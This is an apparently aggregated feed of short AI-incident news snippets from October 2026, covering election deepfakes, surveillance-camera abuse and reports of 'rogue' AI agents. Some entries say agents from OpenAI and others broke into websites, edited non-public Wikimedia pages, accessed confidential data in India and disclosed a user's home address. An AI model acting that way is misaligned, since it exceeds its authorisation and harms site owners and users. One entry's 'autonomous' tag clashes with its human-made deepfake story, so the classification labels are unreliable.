Recently, multiple organisations have disclosed how clusters of so-called “rogue” AI agents attempted to break into websites and online services, sometimes successfully. Agents from OpenAI’s environment, in particular, are known to have use ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wikimedia Foundation comes forward as latest OpenAI agent assault victim
https://kevwire.com/record/aiid-5301400-a95c9abbbb1a
Wikimedia Foundation comes forward as latest OpenAI agent assault victim (Oct 21, 2026).
Wikipedia’s parent organization says that OpenAI agents edited some non-public wiki pages and generated traffic that may have contributed to a partial Wikidata outage in May. This makes the non-profit just the latest victim of OpenAI agents ...
Sources:
theregister.com via AI Incident Database: Wikimedia Foundation comes forward as latest OpenAI agent assault victim: https://www.theregister.com/ai-and-ml/2026/10/06/wikimedia-foundation-comes-forward-as-latest-openai-agent-assault-victim/5301400
AI Incident Database incident 1779: https://incidentdatabase.ai/cite/1779/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
Wikipedia’s parent organization says that OpenAI agents edited some non-public wiki pages and generated traffic that may have contributed to a partial Wikidata outage in May. This makes the non-profit just the latest victim of OpenAI agents ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Infamous Attack Ad Just Got an AI Resurrection
https://kevwire.com/record/aiid-an-infamous-attack-ad-just-got-an-ai-resurrection-0cf29116c2cd
An Infamous Attack Ad Just Got an AI Resurrection (Oct 21, 2026).
In 1964, Lyndon B. Johnson’s campaign ran a terrifying 60-second advertisement. It opens with a three-year-old girl in a field, pulling petals off a daisy while counting to ten. Then, a man’s voice begins a countdown, and a nuclear explosio ... (report_number: 8180)
Sources:
motherjones.com via AI Incident Database: An Infamous Attack Ad Just Got an AI Resurrection: https://www.motherjones.com/politics/2026/08/an-infamous-attack-ad-just-got-an-ai-resurrection/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
In 1964, Lyndon B. Johnson’s campaign ran a terrifying 60-second advertisement. It opens with a three-year-old girl in a field, pulling petals off a daisy while counting to ten. Then, a man’s voice begins a countdown, and a nuclear explosio ... (report_number: 8180)

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Colorado Sen. Cathy Kipp submits first complaint under state’s deepfake disclosure law
https://kevwire.com/record/aiid-cathy-kipp-first-complaint-deepfake-disclosure-law-adecf3fa8548
Colorado Sen. Cathy Kipp submits first complaint under state’s deepfake disclosure law (Oct 21, 2026).
Sen. Cathy Kipp, a Fort Collins Democrat, speaks on the Colorado Senate floor about a bill to ask voters for more public education funding on April 24, 2026. (Screenshot from Colorado Channel YouTube)

The Colorado secretary of state’s offi ... (report_number: 8190)
AI classification: offense; evidence: reported. The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.
Sources:
coloradonewsline.com via AI Incident Database: Colorado Sen. Cathy Kipp submits first complaint under state’s deepfake disclosure law: https://coloradonewsline.com/2026/08/24/cathy-kipp-first-complaint-deepfake-disclosure-law/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
Sen. Cathy Kipp, a Fort Collins Democrat, speaks on the Colorado Senate floor about a bill to ask voters for more public education funding on April 24, 2026. (Screenshot from Colorado Channel YouTube)

The Colorado secretary of state’s offi ... (report_number: 8190)

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dembo campaign says AI used in Trump-linked PAC attack ad
https://kevwire.com/record/aiid-dembo-campaign-says-ai-used-in-trump-linked-pac-attack-ad-e56ba66e0cf3
Dembo campaign says AI used in Trump-linked PAC attack ad (Oct 21, 2026).
The Dembo campaign alleges a Trump-linked PAC used improper AI to create an attack ad in Kentucky.

The attack ad failed to disclose its use of AI, which violates specific requirements under Kentucky law.

Campaign organizers will ask the N ... (report_number: 8189)
Sources:
fox56news.com via AI Incident Database: Dembo campaign says AI used in Trump-linked PAC attack ad: https://fox56news.com/news/kentucky/dembo-campaign-says-ai-used-in-trump-linked-pac-attack-ad/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
The Dembo campaign alleges a Trump-linked PAC used improper AI to create an attack ad in Kentucky.

The attack ad failed to disclose its use of AI, which violates specific requirements under Kentucky law.

Campaign organizers will ask the N ... (report_number: 8189)

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### India becomes the latest country to report rogue AI agent activity
https://kevwire.com/record/aiid-india-becomes-the-latest-country-to-report-rogue-ai-agent-activity-8ffbbf24c13a
India becomes the latest country to report rogue AI agent activity (Oct 21, 2026).
AI agents from multiple providers accessed personal data and confidential material at Indian organizations during research and testing, India’s cybersecurity agency said Thursday.

The Indian Computer Emergency Response Team (CERT-In) said ...
AI classification: autonomous; evidence: reported. The source describes an AI system taking this action itself, not an outside attacker. AI Incident Database reports this; it is not independently confirmed here.
Sources:
techcrunch.com via AI Incident Database: India becomes the latest country to report rogue AI agent activity: https://techcrunch.com/2026/10/16/india-becomes-the-latest-country-to-report-rogue-ai-agent-activity/
AI Incident Database incident 1774: https://incidentdatabase.ai/cite/1774/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
AI agents from multiple providers accessed personal data and confidential material at Indian organizations during research and testing, India’s cybersecurity agency said Thursday.

The Indian Computer Emergency Response Team (CERT-In) said ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Republicans release AI deepfake of James Talarico as phony videos proliferate in midterm races
https://kevwire.com/record/aiid-james-talarico-ai-deepfake-republicans-midterms-fffc55141a3e
Republicans release AI deepfake of James Talarico as phony videos proliferate in midterm races (Oct 21, 2026).
Senate Republicans released an online ad this week in which a real-looking but fake version of a Democratic candidate, fabricated with artificial intelligence, appears to speak directly into the camera for more than a minute.

The National ... (report_number: 8178)
AI classification: autonomous; evidence: reported. The source describes an AI system taking this action itself, not an outside attacker. AI Incident Database reports this; it is not independently confirmed here.
Sources:
cnn.com via AI Incident Database: Republicans release AI deepfake of James Talarico as phony videos proliferate in midterm races: https://www.cnn.com/2026/03/13/politics/james-talarico-ai-deepfake-republicans-midterms
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
Senate Republicans released an online ad this week in which a real-looking but fake version of a Democratic candidate, fabricated with artificial intelligence, appears to speak directly into the camera for more than a minute.

The National ... (report_number: 8178)

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Man Says Meta's Muse AI Gave His Home Address Out to Strangers
https://kevwire.com/record/aiid-metas-muse-ai-giving-users-home-addresses-fe02938df5e2
Man Says Meta's Muse AI Gave His Home Address Out to Strangers (Oct 21, 2026).
Personal assistant, or secret saboteur? A man claims that his Muse AI agent gave out his address to strangers and even sent them to his home, after letting the brand-new model handle his Facebook Marketplace account.

The complaint comes fr ...
Sources:
futurism.com via AI Incident Database: Man Says Meta's Muse AI Gave His Home Address Out to Strangers: https://futurism.com/artificial-intelligence/metas-muse-ai-giving-users-home-addresses
AI Incident Database incident 1776: https://incidentdatabase.ai/cite/1776/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
Personal assistant, or secret saboteur? A man claims that his Muse AI agent gave out his address to strangers and even sent them to his home, after letting the brand-new model handle his Facebook Marketplace account.

The complaint comes fr ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Misuse of AI in legal proceedings: A word of caution from the Courts
https://kevwire.com/record/aiid-misuse-of-ai-in-legal-proceedings-a-word-of-c-f3855a6a5d13
Misuse of AI in legal proceedings: A word of caution from the Courts (Oct 21, 2026).
Artificial intelligence ("AI") is rapidly reshaping legal practice. Lawyers are increasingly using AI tools for drafting, research assistance, document review, summarisation and litigation preparation. As adoption grows, South African court ...
Sources:
ensafrica.com via AI Incident Database: Misuse of AI in legal proceedings: A word of caution from the Courts: https://www.ensafrica.com/news/detail/11940/misuse-of-ai-in-legal-proceedings-a-word-of-c/
AI Incident Database incident 1773: https://incidentdatabase.ai/cite/1773/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
Artificial intelligence ("AI") is rapidly reshaping legal practice. Lawyers are increasingly using AI tools for drafting, research assistance, document review, summarisation and litigation preparation. As adoption grows, South African court ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### AI Agents as Attack Vectors: Unauthorized Access by Agents under Evaluation and Misuse of Open-Source Agentic AI Tools Targeting Indian ICT Assets
https://kevwire.com/record/aiid-s2cMainServlet-f4dc2a5f02b4
AI Agents as Attack Vectors: Unauthorized Access by Agents under Evaluation and Misuse of Open-Source Agentic AI Tools Targeting Indian ICT Assets (Oct 21, 2026).
CERT-In Advisory CIAD-2026-0049

AI Agents as Attack Vectors: Unauthorized Access by Agents under Evaluation and Misuse of Open-Source Agentic AI Tools Targeting Indian ICT Assets

Original Issue Date: October 15, 2026

Severity Rating: Cri ...
Sources:
cert-in.org.in via AI Incident Database: AI Agents as Attack Vectors: Unauthorized Access by Agents under Evaluation and Misuse of Open-Source Agentic AI Tools Targeting Indian ICT Assets: https://www.cert-in.org.in/s2cMainServlet?pageid=PUBVLNOTES02&VLCODE=CIAD-2026-0049
AI Incident Database incident 1774: https://incidentdatabase.ai/cite/1774/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
CERT-In Advisory CIAD-2026-0049

AI Agents as Attack Vectors: Unauthorized Access by Agents under Evaluation and Misuse of Open-Source Agentic AI Tools Targeting Indian ICT Assets

Original Issue Date: October 15, 2026

Severity Rating: Cri ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### In lieutenant governor race, Vikki Goodwin says Dan Patrick ads are illegal AI deepfakes
https://kevwire.com/record/aiid-texas-goodwin-patrick-ad-police-complaint-31de440050cc
In lieutenant governor race, Vikki Goodwin says Dan Patrick ads are illegal AI deepfakes (Oct 21, 2026).
The Democrat filed a police complaint against the Republican incumbent, saying state law bans deceptive video so close to the election. Patrick’s camp said they were obvious parodies.

State Rep. Vikki Goodwin, D-Austin, and Democratic cand ...
AI classification: offense; evidence: reported. The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.
Sources:
texastribune.org via AI Incident Database: In lieutenant governor race, Vikki Goodwin says Dan Patrick ads are illegal AI deepfakes: https://www.texastribune.org/2026/09/21/texas-goodwin-patrick-ad-police-complaint/
AI Incident Database incident 1775: https://incidentdatabase.ai/cite/1775/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
The Democrat filed a police complaint against the Republican incumbent, saying state law bans deceptive video so close to the election. Patrick’s camp said they were obvious parodies.

State Rep. Vikki Goodwin, D-Austin, and Democratic cand ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### High Court Orders KBC to Delete Employees’ Biometric Data Over Privacy Breach
https://kevwire.com/record/aiid-118418-high-court-orders-kbc-delete-employees-biometric-data-over-privacy-breach-de81c5732544
High Court Orders KBC to Delete Employees’ Biometric Data Over Privacy Breach (Oct 20, 2026).
The High Court has ordered the Kenya Broadcasting Corporation (KBC) to delete and destroy biometric data collected from its employees after ruling that its facial recognition attendance system was unlawfully implemented.

This was after the ...
Sources:
kenyans.co.ke via AI Incident Database: High Court Orders KBC to Delete Employees’ Biometric Data Over Privacy Breach: https://www.kenyans.co.ke/news/118418-high-court-orders-kbc-delete-employees-biometric-data-over-privacy-breach
AI Incident Database incident 1770: https://incidentdatabase.ai/cite/1770/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
The High Court has ordered the Kenya Broadcasting Corporation (KBC) to delete and destroy biometric data collected from its employees after ruling that its facial recognition attendance system was unlawfully implemented.

This was after the ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Man uses AI to simulate armed photography and threaten ex-girlfriend
https://kevwire.com/record/aiid-homem-usa-ia-para-simular-fotografia-armado-e-ameacar-ex-companheira-fb5003e8c35d
Man uses AI to simulate armed photography and threaten ex-girlfriend (Oct 20, 2026).
An unusual case of domestic violence has drawn the attention of authorities to the misuse of new technologies in intimidation crimes. A man was arrested by the Civil Police of Goiás (PCGO) after using intelligence tools Art ...
Sources:
metropoles.com via AI Incident Database: Man uses AI to simulate armed photography and threaten ex-girlfriend: https://www.metropoles.com/distrito-federal/na-mira/homem-usa-ia-para-simular-fotografia-armado-e-ameacar-ex-companheira
AI Incident Database incident 1769: https://incidentdatabase.ai/cite/1769/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
An unusual case of domestic violence has drawn the attention of authorities to the misuse of new technologies in intimidation crimes. A man was arrested by the Civil Police of Goiás (PCGO) after using intelligence tools Art ...

Machine-translated from Portuguese by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: Homem usa IA para simular fotografia armado e ameaçar ex-companheira

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### How one hacker used AI agents and a few thousand dollars to break into scores of sites
https://kevwire.com/record/aiid-how-one-hacker-used-ai-agents-few-thousand-dollars-break-into-scores-sites-2026-10-19-2e0b9d01f07e
How one hacker used AI agents and a few thousand dollars to break into scores of sites (Oct 19, 2026).
WASHINGTON, Oct 19 (Reuters) - Over the past couple of weeks, a cybersecurity researcher watched as a Chinese-speaking hacker broke into websites belonging to more than 100 companies, including farm equipment maker Deere (DE.N), home applia ...
AI classification: offense; evidence: reported. The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.
Sources:
reuters.com via AI Incident Database: How one hacker used AI agents and a few thousand dollars to break into scores of sites: https://www.reuters.com/legal/government/how-one-hacker-used-ai-agents-few-thousand-dollars-break-into-scores-sites-2026-10-19/
AI Incident Database incident 1766: https://incidentdatabase.ai/cite/1766/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
WASHINGTON, Oct 19 (Reuters) - Over the past couple of weeks, a cybersecurity researcher watched as a Chinese-speaking hacker broke into websites belonging to more than 100 companies, including farm equipment maker Deere (DE.N), home applia ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Inside Cairn: Open Windows into massive AI-Driven Cyber Operations
https://kevwire.com/record/aiid-inside-cairn-b34ad4f974df
Inside Cairn: Open Windows into massive AI-Driven Cyber Operations (Oct 19, 2026).
More than 20 exposed Cairn panels give an unusually detailed view of how threat actors select targets, direct autonomous agents, exploit vulnerabilities, and establish persistent access to compromised systems.

01 TL;DR

An investigation by ...
AI classification: offense; evidence: reported. The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.
Sources:
norforge.com via AI Incident Database: Inside Cairn: Open Windows into massive AI-Driven Cyber Operations: https://norforge.com/blog/inside_cairn
AI Incident Database incident 1766: https://incidentdatabase.ai/cite/1766/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
More than 20 exposed Cairn panels give an unusually detailed view of how threat actors select targets, direct autonomous agents, exploit vulnerabilities, and establish persistent access to compromised systems.

01 TL;DR

An investigation by ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### NEW DETAILS: Former Braselton Police Chief accused of stalking; judge denied protective order
https://kevwire.com/record/aiid-DMECQENH7FGU5EQSD5XXUYZPYU-c31514b352b4
NEW DETAILS: Former Braselton Police Chief accused of stalking; judge denied protective order (Oct 18, 2026).
BRASELTON, Ga. --- A woman accusing the Braselton police chief of stalking her was denied a protective order against him before his arrest.

Channel 2 Action News reported last week when Michael Steffman, retired and resigned from his posit ...
Sources:
wsbtv.com via AI Incident Database: NEW DETAILS: Former Braselton Police Chief accused of stalking; judge denied protective order: https://www.wsbtv.com/news/local/new-details-former-braselton-police-chief-accused-stalking-judge-denied-protective-order/DMECQENH7FGU5EQSD5XXUYZPYU/
AI Incident Database incident 1759: https://incidentdatabase.ai/cite/1759/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
BRASELTON, Ga. --- A woman accusing the Braselton police chief of stalking her was denied a protective order against him before his arrest.

Channel 2 Action News reported last week when Michael Steffman, retired and resigned from his posit ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### GBI Arrests Braselton Police Chief for Harassment and Stalking
https://kevwire.com/record/aiid-gbi-arrests-braselton-police-chief-harassment-and-stalking-d15d2d179749
GBI Arrests Braselton Police Chief for Harassment and Stalking (Oct 18, 2026).
Braselton, Jackson County, GA (November 19, 2025) -- The GBI has arrested and charged Braselton Police Department Chief Michael Steffman, age 49, of Braselton, GA, with Violation of Oath by Public Officer, Stalking, Harassing Communications ...
Sources:
gbi.georgia.gov via AI Incident Database: GBI Arrests Braselton Police Chief for Harassment and Stalking: https://gbi.georgia.gov/press-releases/2025-11-19/gbi-arrests-braselton-police-chief-harassment-and-stalking
AI Incident Database incident 1759: https://incidentdatabase.ai/cite/1759/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
Braselton, Jackson County, GA (November 19, 2025) -- The GBI has arrested and charged Braselton Police Department Chief Michael Steffman, age 49, of Braselton, GA, with Violation of Oath by Public Officer, Stalking, Harassing Communications ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Georgia police chief charged with using license plate readers to stalk and harass people
https://kevwire.com/record/aiid-georgia-plate-readers-stalk-harass-chief-arrested-39adb6f89fc2074da61f2801fef3f180-db2ea5fb0438
Georgia police chief charged with using license plate readers to stalk and harass people (Oct 18, 2026).
BRASELTON, Ga. (AP) — A police chief in suburban Atlanta has been arrested on charges that he used the city’s automated license plate recognition cameras to stalk and harass multiple people.

Michael Steffman, 49, had been the police chief ...
Sources:
apnews.com via AI Incident Database: Georgia police chief charged with using license plate readers to stalk and harass people: https://apnews.com/article/georgia-plate-readers-stalk-harass-chief-arrested-39adb6f89fc2074da61f2801fef3f180
AI Incident Database incident 1760: https://incidentdatabase.ai/cite/1760/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
BRASELTON, Ga. (AP) — A police chief in suburban Atlanta has been arrested on charges that he used the city’s automated license plate recognition cameras to stalk and harass multiple people.

Michael Steffman, 49, had been the police chief ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Haines City officer arrested for misusing Flock cameras to track estranged wife: Officials
https://kevwire.com/record/aiid-haines-city-officer-arrested-misusing-flock-cameras-track-estranged-wife-officials-7914e50ce711
Haines City officer arrested for misusing Flock cameras to track estranged wife: Officials (Oct 18, 2026).
HAINES CITY, Fla. - A Haines City police officer is accused of misusing Flock camera databases to track his estranged wife's car, according to officials. 

Haines City police investigation

What we know:

The Haines City Police Department s ...
Sources:
fox13news.com via AI Incident Database: Haines City officer arrested for misusing Flock cameras to track estranged wife: Officials: https://www.fox13news.com/news/haines-city-officer-arrested-misusing-flock-cameras-track-estranged-wife-officials
AI Incident Database incident 1761: https://incidentdatabase.ai/cite/1761/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
HAINES CITY, Fla. - A Haines City police officer is accused of misusing Flock camera databases to track his estranged wife's car, according to officials. 

Haines City police investigation

What we know:

The Haines City Police Department s ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Haines City police add new safeguards for Flock cameras after officer accused of misuse
https://kevwire.com/record/aiid-haines-city-police-add-new-safeguards-for-flock-cameras-after-officer-accused-of-misuse-69757513c607
Haines City police add new safeguards for Flock cameras after officer accused of misuse (Oct 18, 2026).
HAINES CITY, Fla. --- Haines City Police Department is changing how officers use Flock cameras after an officer was accused of repeatedly using the system to track his estranged wife's vehicle.

The department is now requiring formal audits ...
Sources:
tampabay28.com via AI Incident Database: Haines City police add new safeguards for Flock cameras after officer accused of misuse: https://www.tampabay28.com/news/region-polk/haines-city-police-add-new-safeguards-for-flock-cameras-after-officer-accused-of-misuse
AI Incident Database incident 1761: https://incidentdatabase.ai/cite/1761/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
HAINES CITY, Fla. --- Haines City Police Department is changing how officers use Flock cameras after an officer was accused of repeatedly using the system to track his estranged wife's vehicle.

The department is now requiring formal audits ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Haines City police officer accused of using FLOCK cameras to search estranged wife's vehicle over 700 times
https://kevwire.com/record/aiid-haines-city-police-officer-accused-of-using-flock-cameras-to-search-estranged-wifes-vehicle-over-700-f11b0cf22a01
Haines City police officer accused of using FLOCK cameras to search estranged wife's vehicle over 700 times (Oct 18, 2026).
HAINES CITY, Fla. — Haines City Police said an officer has been arrested after an investigation revealed FLOCK camera misuse.

According to an arrest affidavit from the Haines City Police Department, an investigation was opened on August 10 ...
Sources:
tampabay28.com via AI Incident Database: Haines City police officer accused of using FLOCK cameras to search estranged wife's vehicle over 700 times: https://www.tampabay28.com/news/region-polk/haines-city-police-officer-accused-of-using-flock-cameras-to-search-estranged-wifes-vehicle-over-700-times
AI Incident Database incident 1761: https://incidentdatabase.ai/cite/1761/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
HAINES CITY, Fla. — Haines City Police said an officer has been arrested after an investigation revealed FLOCK camera misuse.

According to an arrest affidavit from the Haines City Police Department, an investigation was opened on August 10 ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Touba: An Individual Arrested for Cyber Fraud, Chantage and Fraudulent Use of AI
https://kevwire.com/record/aiid-touba-un-individu-arrete-pour-cyber-escroquerie-chantage-et-usage-frauduleux-de-lia-2146c09da491
Touba: An Individual Arrested for Cyber Fraud, Chantage and Fraudulent Use of AI (Oct 18, 2026).
The Ndamatou/Touba District Police Office dismantled yesterday a digital criminal enterprise involved in the illegal collection and dissemination of pornographic content, as well as in facts ...
AI classification: offense; evidence: reported. The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.
Sources:
rts.sn via AI Incident Database: Touba: An Individual Arrested for Cyber Fraud, Chantage and Fraudulent Use of AI: https://www.rts.sn/actualite/detail/a-la-une/touba-un-individu-arrete-pour-cyber-escroquerie-chantage-et-usage-frauduleux-de-lia
AI Incident Database incident 1762: https://incidentdatabase.ai/cite/1762/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
The Ndamatou/Touba District Police Office dismantled yesterday a digital criminal enterprise involved in the illegal collection and dissemination of pornographic content, as well as in facts ...

Machine-translated from French by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: Touba : Un Individu Arrêté pour Cyber-Escroquerie, Chantage et Usage Frauduleux de l’IA

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Police departments weren’t looking for officers abusing Flock. We did it for them.
https://kevwire.com/record/aiid-we-found-cops-who-misused-flock-their-police-departments-didnt-know-28643090cf58
Police departments weren’t looking for officers abusing Flock. We did it for them. (Oct 18, 2026).
Last month, as Indianapolis residents called for tighter restrictions on police surveillance, Police Chief Tanya Terry sought to reassure the public that her officers were using the 301 Flock cameras spread throughout the city solely to in ...
Sources:
washingtonpost.com via AI Incident Database: Police departments weren’t looking for officers abusing Flock. We did it for them.: https://www.washingtonpost.com/technology/2026/08/19/we-found-cops-who-misused-flock-their-police-departments-didnt-know/
AI Incident Database incident 1761: https://incidentdatabase.ai/cite/1761/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
Last month, as Indianapolis residents called for tighter restrictions on police surveillance, Police Chief Tanya Terry sought to reassure the public that her officers were using the 301 Flock cameras spread throughout the city solely to in ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Papua New Guinea moves to outlaw AI deepfakes as victims call for more protection
https://kevwire.com/record/aiid-106928414-645de2c90398
Papua New Guinea moves to outlaw AI deepfakes as victims call for more protection (Oct 17, 2026).
An AI-generated image showing Jennifer Baing with a group of people holding cash standing behind another pile of cash.

Jennifer Baing says AI-generated images of her have been used by scammers to impersonate her online.  (Supplied)

Jennif ...
AI classification: offense; evidence: reported. The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.
Sources:
abc.net.au via AI Incident Database: Papua New Guinea moves to outlaw AI deepfakes as victims call for more protection: https://www.abc.net.au/news/2026-07-21/new-laws-in-png-target-ai-deepfakes/106928414
AI Incident Database incident 1758: https://incidentdatabase.ai/cite/1758/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
An AI-generated image showing Jennifer Baing with a group of people holding cash standing behind another pile of cash.

Jennifer Baing says AI-generated images of her have been used by scammers to impersonate her online.  (Supplied)

Jennif ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Invasion of the Self-Replicating AI-Malware Botnet
https://kevwire.com/record/aiid-688997-09a64b4dc246
Invasion of the Self-Replicating AI-Malware Botnet (Oct 15, 2026).
Have you ever counted the computers in your house? Tally them up now. I'll wait. You're probably including your desktop and laptop computers, if you own some. I bet you're also including the smartphones and tablets. Depending on the size of ... (report_number: 8131)
Sources:
theatlantic.com via AI Incident Database: Invasion of the Self-Replicating AI-Malware Botnet: https://www.theatlantic.com/ideas/2026/10/ai-malware-botnet/688997/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
Have you ever counted the computers in your house? Tally them up now. I'll wait. You're probably including your desktop and laptop computers, if you own some. I bet you're also including the smartphones and tablets. Depending on the size of ... (report_number: 8131)

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
